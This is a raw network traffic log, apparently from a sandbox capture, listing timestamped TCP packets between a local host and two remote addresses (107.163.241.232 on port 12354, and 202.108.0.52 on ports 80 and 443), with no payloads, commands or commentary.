Dec 11, 2024 16:26:27.510181904 CET	12354	64094	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:27.515901089 CET	12354	62240	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:27.516268015 CET	12354	64295	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:27.516370058 CET	64295	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:27.516988993 CET	64295	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:27.636332989 CET	12354	64295	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:28.529984951 CET	443	63751	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:28.530073881 CET	63751	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:28.530765057 CET	443	63751	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:28.530808926 CET	63751	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:28.533838987 CET	63751	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:28.533884048 CET	443	63751	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:28.533931971 CET	63751	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:28.651144981 CET	62241	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:28.673147917 CET	49293	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:28.771056890 CET	80	62241	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:28.771116018 CET	62241	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:28.795372963 CET	80	49293	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:28.795460939 CET	49293	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:28.825407028 CET	49293	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:28.944757938 CET	80	49293	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:29.071484089 CET	64295	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:29.071660995 CET	64094	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:29.071717024 CET	49293	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:29.109807968 CET	49297	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:29.231447935 CET	12354	49297	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:29.231520891 CET	49297	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:29.268208027 CET	49297	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:29.355453014 CET	49302	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:29.355868101 CET	49303	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:29.388467073 CET	12354	49297	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:29.474920034 CET	12354	49302	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:29.475367069 CET	80	49303	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:29.476603031 CET	49302	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:29.476625919 CET	49303	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:29.553390980 CET	49302	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:29.553591967 CET	49303	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:29.673527002 CET	12354	49302	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:29.675412893 CET	80	49303	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:31.043132067 CET	80	49303	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:31.043216944 CET	49303	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:31.046591043 CET	50549	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:31.046633959 CET	443	50549	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:31.046699047 CET	50549	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:31.047334909 CET	50549	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:31.047348976 CET	443	50549	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:31.570144892 CET	12354	49297	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:31.570223093 CET	49297	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:31.596436024 CET	12354	49302	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:31.596487045 CET	49302	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:31.615051985 CET	49297	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:31.615542889 CET	51032	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:31.622459888 CET	49302	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:31.735245943 CET	12354	49297	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:31.735524893 CET	12354	51032	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:31.736309052 CET	51032	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:31.743360043 CET	12354	49302	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:31.752629995 CET	51032	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:31.846848011 CET	51043	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:31.874926090 CET	12354	51032	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:31.968108892 CET	12354	51043	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:31.968564987 CET	51043	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:31.995491982 CET	51043	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:32.115470886 CET	12354	51043	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:32.740459919 CET	443	50549	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:32.740727901 CET	50549	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:32.741244078 CET	443	50549	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:32.741282940 CET	50549	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:32.744613886 CET	50549	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:32.744668007 CET	443	50549	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:32.744733095 CET	50549	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:32.857213020 CET	49303	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:32.857580900 CET	51361	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:32.977134943 CET	80	49303	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:32.977273941 CET	49303	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:32.977433920 CET	80	51361	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:32.977524042 CET	51361	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:32.977711916 CET	51361	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:33.097697973 CET	80	51361	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:33.265012980 CET	51043	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:33.265049934 CET	51032	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:33.265083075 CET	51361	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:33.285509109 CET	51600	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:33.408515930 CET	12354	51600	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:33.408600092 CET	51600	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:33.453919888 CET	51600	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:33.534004927 CET	51644	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:33.570214033 CET	51645	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:33.579792976 CET	12354	51600	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:33.660314083 CET	12354	51644	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:33.660383940 CET	51644	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:33.660918951 CET	51644	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:33.696587086 CET	80	51645	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:33.696677923 CET	51645	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:33.710438967 CET	51645	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:33.784053087 CET	12354	51644	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:33.830090046 CET	80	51645	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:35.276479006 CET	80	51645	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:35.276870012 CET	51645	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:35.456063032 CET	52511	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:35.456126928 CET	443	52511	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:35.456187963 CET	52511	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:35.457102060 CET	52511	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:35.457113981 CET	443	52511	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:35.519093037 CET	12354	51600	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:35.519151926 CET	51600	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:35.521250010 CET	51600	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:35.522082090 CET	52531	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:35.641087055 CET	12354	51600	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:35.641551971 CET	12354	52531	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:35.641613007 CET	52531	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:35.641805887 CET	52531	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:35.762689114 CET	12354	52531	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:35.782994986 CET	12354	51644	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:35.783108950 CET	51644	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:35.784080982 CET	52742	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:35.784179926 CET	51644	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:35.903729916 CET	12354	52742	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:35.903743029 CET	12354	51644	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:35.903816938 CET	52742	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:35.904803991 CET	52742	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:36.024099112 CET	12354	52742	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:37.156563997 CET	443	52511	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:37.156663895 CET	52511	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:37.159226894 CET	443	52511	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:37.159327030 CET	52511	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:37.162142038 CET	52511	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:37.162209034 CET	443	52511	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:37.162370920 CET	443	52511	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:37.162409067 CET	52511	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:37.162447929 CET	52511	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:37.278971910 CET	51645	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:37.279333115 CET	54081	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:37.398729086 CET	80	51645	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:37.398746014 CET	80	54081	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:37.398890018 CET	51645	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:37.398936033 CET	54081	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:37.399564981 CET	54081	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:37.467031002 CET	52742	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:37.467061043 CET	54081	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:37.467250109 CET	52531	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:37.468650103 CET	54225	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:37.518894911 CET	80	54081	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:37.519350052 CET	54081	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:37.577142954 CET	54301	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:37.578155041 CET	54302	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:37.587955952 CET	12354	54225	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:37.588057995 CET	54225	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:37.588591099 CET	54225	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:37.697494984 CET	12354	54301	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:37.698211908 CET	54301	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:37.698383093 CET	80	54302	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:37.698445082 CET	54302	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:37.698570967 CET	54301	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:37.698820114 CET	54302	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:37.708050966 CET	12354	54225	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:37.818995953 CET	12354	54301	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:37.819354057 CET	80	54302	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:39.260902882 CET	80	54302	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:39.260976076 CET	54302	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:39.264879942 CET	55675	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:39.264916897 CET	443	55675	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:39.264969110 CET	55675	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:39.265808105 CET	55675	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:39.265821934 CET	443	55675	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:39.736377954 CET	12354	54225	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:39.736434937 CET	54225	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:39.736721039 CET	54225	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:39.737101078 CET	56134	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:39.814851999 CET	12354	54301	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:39.814944029 CET	54301	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:39.817987919 CET	54301	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:39.841573000 CET	56227	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:39.856770039 CET	12354	54225	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:39.856803894 CET	12354	56134	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:39.856888056 CET	56134	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:39.858413935 CET	56134	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:39.937350988 CET	12354	54301	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:39.961118937 CET	12354	56227	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:39.961179018 CET	56227	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:39.961591959 CET	56227	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:39.978924036 CET	12354	56134	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:40.083439112 CET	12354	56227	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:41.479568005 CET	55675	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:41.479624987 CET	56134	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:41.479643106 CET	56227	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:41.480321884 CET	57709	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:41.595489025 CET	54302	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:41.595762968 CET	57838	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:41.596808910 CET	57840	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:41.600529909 CET	12354	57709	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:41.600630999 CET	57709	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:41.600784063 CET	57709	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:41.718853951 CET	80	57838	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:41.718924999 CET	57838	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:41.719049931 CET	80	54302	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:41.719177008 CET	57838	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:41.719185114 CET	54302	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:41.719798088 CET	12354	57840	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:41.719873905 CET	57840	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:41.720129967 CET	57840	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:41.723679066 CET	12354	57709	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:41.840825081 CET	80	57838	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:41.841851950 CET	12354	57840	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:43.295631886 CET	80	57838	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:43.295696974 CET	57838	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:43.301955938 CET	59533	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:43.302051067 CET	443	59533	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:43.302145004 CET	59533	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:43.303917885 CET	59533	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:43.303942919 CET	443	59533	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:43.723367929 CET	12354	57709	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:43.723685026 CET	57709	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:43.726001024 CET	57709	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:43.726764917 CET	59956	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:43.830522060 CET	12354	57840	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:43.830584049 CET	57840	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:43.847385883 CET	12354	57709	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:43.847400904 CET	12354	59956	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:43.847496033 CET	59956	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:43.865869045 CET	57840	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:43.906567097 CET	59956	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:43.928724051 CET	59963	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:43.986219883 CET	12354	57840	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:44.026184082 CET	12354	59956	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:44.051384926 CET	12354	59963	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:44.052532911 CET	59963	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:44.176388025 CET	59963	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:44.295789957 CET	12354	59963	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:45.032352924 CET	443	59533	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:45.032430887 CET	59533	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:45.033109903 CET	443	59533	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:45.033158064 CET	59533	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:45.041423082 CET	59533	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:45.041523933 CET	443	59533	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:45.041579008 CET	59533	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:45.203203917 CET	57838	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:45.203495026 CET	60053	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:45.325179100 CET	80	57838	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:45.325218916 CET	80	60053	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:45.325236082 CET	57838	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:45.325279951 CET	60053	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:45.325717926 CET	60053	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:45.445154905 CET	80	60053	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:45.494163990 CET	59956	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:45.494180918 CET	59963	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:45.494261026 CET	60053	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:45.495764971 CET	60164	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:45.609781027 CET	60299	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:45.611604929 CET	60300	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:45.615128994 CET	12354	60164	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:45.615189075 CET	60164	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:45.615562916 CET	60164	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:45.732831001 CET	80	60299	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:45.732903957 CET	60299	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:45.733159065 CET	60299	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:45.734853029 CET	12354	60300	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:45.734911919 CET	60300	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:45.735594034 CET	60300	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:45.738897085 CET	12354	60164	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:45.855402946 CET	80	60299	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:45.856812000 CET	12354	60300	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:47.298012972 CET	80	60299	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:47.298069000 CET	60299	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:47.566123009 CET	61399	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:47.566174984 CET	443	61399	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:47.566365957 CET	61399	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:47.613650084 CET	61399	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:47.613671064 CET	443	61399	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:47.737286091 CET	12354	60164	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:47.737376928 CET	60164	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:47.738637924 CET	60164	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:47.739147902 CET	61430	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:47.847372055 CET	12354	60300	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:47.847465038 CET	60300	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:47.847764969 CET	60300	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:47.857647896 CET	61535	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:47.859184027 CET	12354	60164	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:47.859196901 CET	12354	61430	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:47.859267950 CET	61430	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:47.859863043 CET	61430	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:47.967308044 CET	12354	60300	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:47.977433920 CET	12354	61535	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:47.977518082 CET	61535	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:47.978533983 CET	61535	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:47.979374886 CET	12354	61430	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:48.100630045 CET	12354	61535	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:49.308300972 CET	443	61399	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:49.308665037 CET	61399	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:49.309088945 CET	443	61399	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:49.309192896 CET	61399	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:49.332673073 CET	61399	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:49.332791090 CET	443	61399	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:49.332853079 CET	61399	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:49.451072931 CET	60299	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:49.451353073 CET	63196	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:49.510096073 CET	61535	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:49.510441065 CET	61430	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:49.510917902 CET	63248	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:49.570688009 CET	80	63196	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:49.570770979 CET	63196	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:49.570924997 CET	80	60299	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:49.571023941 CET	60299	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:49.626117945 CET	63325	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:49.630271912 CET	12354	63248	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:49.630398035 CET	63248	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:49.630522013 CET	63248	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:49.745690107 CET	12354	63325	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:49.745841026 CET	63325	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:49.746386051 CET	63325	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:49.749845982 CET	12354	63248	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:49.865668058 CET	12354	63325	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:50.346910954 CET	63860	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:50.466238976 CET	80	63860	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:50.466327906 CET	63860	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:50.466697931 CET	63860	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:26:50.585932970 CET	80	63860	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:51.737863064 CET	12354	63248	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:51.739438057 CET	63248	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:51.755903006 CET	63248	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:51.756556034 CET	65122	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:51.862009048 CET	12354	63325	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:51.862153053 CET	63325	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:51.862374067 CET	63325	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:51.873577118 CET	65178	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:51.875277042 CET	12354	63248	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:51.876019955 CET	12354	65122	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:51.876140118 CET	65122	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:51.876526117 CET	65122	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:51.981818914 CET	12354	63325	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:51.993066072 CET	12354	65178	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:51.993129969 CET	65178	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:51.995033979 CET	65178	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:26:51.996876001 CET	12354	65122	107.163.241.232	192.168.2.4
Dec 11, 2024 16:26:52.036914110 CET	80	63860	202.108.0.52	192.168.2.4
Dec 11, 2024 16:26:52.036964893 CET	63860	80	192.168.2.4	202.108.0.52
